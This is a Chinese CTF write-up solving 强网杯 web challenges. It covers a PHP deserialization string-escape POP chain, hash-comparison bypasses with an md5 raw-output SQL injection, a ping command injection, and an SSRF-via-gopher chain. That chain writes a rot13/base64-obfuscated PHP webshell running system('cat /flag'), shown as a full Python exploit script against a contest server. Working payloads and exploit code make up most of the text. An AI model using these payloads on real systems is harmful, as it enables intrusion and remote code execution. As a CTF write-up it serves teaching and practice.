强网杯的质量还是很高,只做出了一道web : )
web辅助
php反序列化字符串逃逸
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 
 | 
 <?php
 class player{
 protected $user;
 protected $pass;
 protected $admin;
 
 public function __construct($user, $pass, $admin = 0){
 $this->user = $user;
 $this->pass = $pass;
 $this->admin = $admin;
 }
 
 public function get_admin(){
 return $this->admin;
 }
 }
 
 class topsolo{
 protected $name;
 
 public function __construct($name = 'Riven'){
 $this->name = $name;
 }
 
 public function TP(){
 if (gettype($this->name) === "function" or gettype($this->name) === "object"){
 $name = $this->name;
 $name();
 }
 }
 
 public function __destruct(){
 $this->TP();
 }
 
 }
 
 class midsolo{
 protected $name;
 
 public function __construct($name){
 $this->name = $name;
 }
 
 public function __wakeup(){
 if ($this->name !== 'Yasuo'){
 $this->name = 'Yasuo';
 echo "No Yasuo! No Soul!\n";
 }
 }
 
 
 public function __invoke(){
 $this->Gank();
 }
 
 public function Gank(){
 if (stristr($this->name, 'Yasuo')){
 echo "Are you orphan?\n";
 }
 else{
 echo "Must Be Yasuo!\n";
 }
 }
 }
 
 class jungle{
 protected $name = "";
 
 public function __construct($name = "Lee Sin"){
 $this->name = $name;
 }
 
 public function KS(){
 system("whoami");
 }
 
 public function __toString(){
 $this->KS();
 return "";
 }
 
 }
 ?>
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | 
 <?php
 @error_reporting(0);
 require_once "common.php";
 require_once "class.php";
 
 if (isset($_GET['username']) && isset($_GET['password'])){
 $username = $_GET['username'];
 $password = $_GET['password'];
 $player = new player($username, $password);
 file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
 echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
 }
 else{
 echo "Please input the username or password!\n";
 }
 
 ?>
 
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | 
 <?php
 function read($data){
 $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
 return $data;
 }
 function write($data){
 $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
 return $data;
 }
 
 function check($data)
 {
 if(stristr($data, 'name')!==False){
 die("Name Pass\n");
 }
 else{
 return $data;
 }
 }
 ?>
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | 
 <?php
 @error_reporting(0);
 require_once "common.php";
 require_once "class.php";
 
 var_dump(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
 
 @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
 print_r($player);
 if ($player->get_admin() === 1){
 echo "FPX Champion\n";
 }
 else{
 echo "The Shy unstoppable\n";
 }
 
 ?>
 
 
 | 
先找出payload
| 12
 3
 4
 5
 
 | $a = new topsolo(new midsolo(new jungle('Tyao')));$b = new player('Tyao',$a,1);
 echo serialize($b);
 
 O:6:"player":3:{s:7:"*user";s:4:"Tyao";s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Tyao";}}}s:8:"*admin";i:1;}
 
 | 
利用字节流S绕过对name的检测
| 1
 | O:6:"player":3:{s:7:"*user";s:4:"Tyao";s:7:"*pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":1:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:4:"Tyao";}}}s:8:"*admin";i:1;}
 | 
查看正常的序列化数据
| 1
 | O:6:"player":3:{s:7:"*user";s:4:"user";s:7:"*pass";s:3:"pwd";s:8:"*admin";i:0;}
 | 
修改【pwd】的值使其和我们的payload匹配,顺便修改个长度
| 12
 3
 4
 5
 
 | O:6:"player":3:{s:7:"*user";s:4:"user";s:7:"*pass";s:154:"
 ;s:7:"*pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":1:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:4:"Tyao";}}}s:8:"*admin";i:1;}
 
 ";s:8:"\0*\0admin";i:0;}
 
 | 
计算多出来的数据的长度
| 1
 | len('";s:7:"*pass";s:158:') == 22
 | 
%00*%00pass还有两个隐藏字符,下面的payload也不要忘记加上
每次字符串逃逸可以多出2个字符,所以修改username为11个\0*\0
最终exp如下:
| 12
 
 | username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"\00*\00n\61me";O:7:"midsolo":2:{S:7:"\00*\00n\61me";O:6:"jungle":1:{S:7:"\00*\00n\61me";s:0:"";}}};s:8:"*admin";i:1;}
 
 | 
Funhash
哈希tricks
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | <?phpinclude 'conn.php';
 highlight_file("index.php");
 
 if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
 {
 die('level 1 failed');
 }
 
 
 if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
 {
 die('level 2 failed');
 }
 
 
 $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
 $result = $mysqli->query($query);
 $row = $result->fetch_assoc();
 var_dump($row);
 $result->free();
 $mysqli->close();
 
 ?>
 
 | 
hash4强哈希碰撞,后面是凑出or 1,直接百度就行
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | <?php$int=1;
 $md4="";
 $name="0e";
 while ($md4!=$name){
 $name='0e'.$int;
 $int++;
 $md4=hash('md4',$name);
 }
 echo $name;
 
 | 
数组绕过hash比较,
最终exp
| 1
 | ?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
 | 
主动
命令执行
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <?phphighlight_file("index.php");
 
 if(preg_match("/flag/i", $_GET["ip"]))
 {
 die("no flag");
 }
 
 system("ping -c 3 $_GET[ip]");
 
 ?>
 
 | 
简单命令拼接
half_infiltration
php反序列化 ssrf+gopher
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | <?phphighlight_file(__FILE__);
 $flag = file_get_contents('ssrf.php');
 class Pass
 {
 
 function read()
 {
 ob_start();
 global $result;
 print $result;
 }
 }
 class User
 {
 public $age, $sex, $num;
 function __destruct()
 {
 $student = $this->age;
 $boy = $this->sex;
 $a = $this->num;
 $student->$boy();
 if (!(is_string($a)) || !(is_string($boy)) || !(is_object($student))) {
 ob_end_clean();
 exit();
 }
 global $$a;
 $result = $GLOBALS['flag'];
 ob_end_clean();
 }
 }
 if (isset($_GET['x'])) {
 unserialize($_GET['x'])->get_it();
 }
 
 | 
参考第五空间的《do you know》,把原来的payload改一改变量名即可
考点:
- 反序列化一个数组使其能够输出flag
- $$变量覆盖
- throw exception异常提前中断跳出ob_end_clean()
- global处触发exception,因为global $this是非法的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | <?phpclass Pass
 {
 
 }
 
 class User
 {
 public $age,$sex,$num;
 }
 
 $a = new User();
 $a->age = new Pass();
 $a->sex = 'read';
 $a->num = 'result';
 
 $b = new User();
 $b->age = new Pass();
 $b->sex = 'read';
 $b->num = 'this';
 
 $c = "Tyao";
 $x = array($a, $b, $c);
 echo(serialize($x));
 
 
 
 
 
 
 | 
转到内网渗透,给到一个ssrf接口,端口在40000,点进去只有一个文件上传,没有禁gopher协议,盲猜是gopher+ssrf
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | <?php 
 $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
 if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
 die("");
 }
 
 if($url)
 {
 
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, 1);
 curl_exec($ch);
 curl_close($ch);
 
 }
 
 ?>
 
 | 
这里很多坑,文件名不能含有write,一度以为filter写不了文件,后来才发现write是可以省略的 : )
文件内容不能含有<?、php、<script等等标签,需要同时用rot13和base64绕过(也不太懂什么base64之后也可以检测到php字段
| 1
 | base64_encode(rot13('<?php echo system("cat /flag");//')) = "PD9jdWMgcnB1YiBmbGZncnooInBuZyAvc3ludCIpOy8v"
 | 
给出最终exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | import requests as rqimport re
 
 ssid = "ttt"
 post_string = "file=php://filter/convert.base64-decode|string.rot13/resource=1.php&content=PD9jdWMgcnB1YiBmbGZncnooInBuZyAvc3ludCIpOy8v"
 length = len(post_string)
 
 paramsGet = {"we_have_done_ssrf_here_could_you_help_to_continue_it":"gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1%%0d%%0a\
 Host:127.0.0.1:40000%%0d%%0aCookie:PHPSESSID=%s;%%0d%%0aConnection:close%%0d%%0aContent-Type:application/x-www-form-urlencoded%%0d%%0aContent-Length: %d%%0d%%0a%%0d%%0a\
 %s" % (ssid, length, post_string)}
 res = rq.get("http://39.98.131.124/ssrf.php", params=paramsGet)
 
 
 res2 = rq.get("http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000/uploads/ttt/")
 files = re.findall('<a href=".*?">(.*?)</a>', res2.text)[5:]
 print("=========FILES============")
 print("\n".join(files))
 print("==========================")
 
 res3 = rq.get("http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=127.0.0.1:40000/uploads/ttt/1.php")
 print(res3.text)
 
 |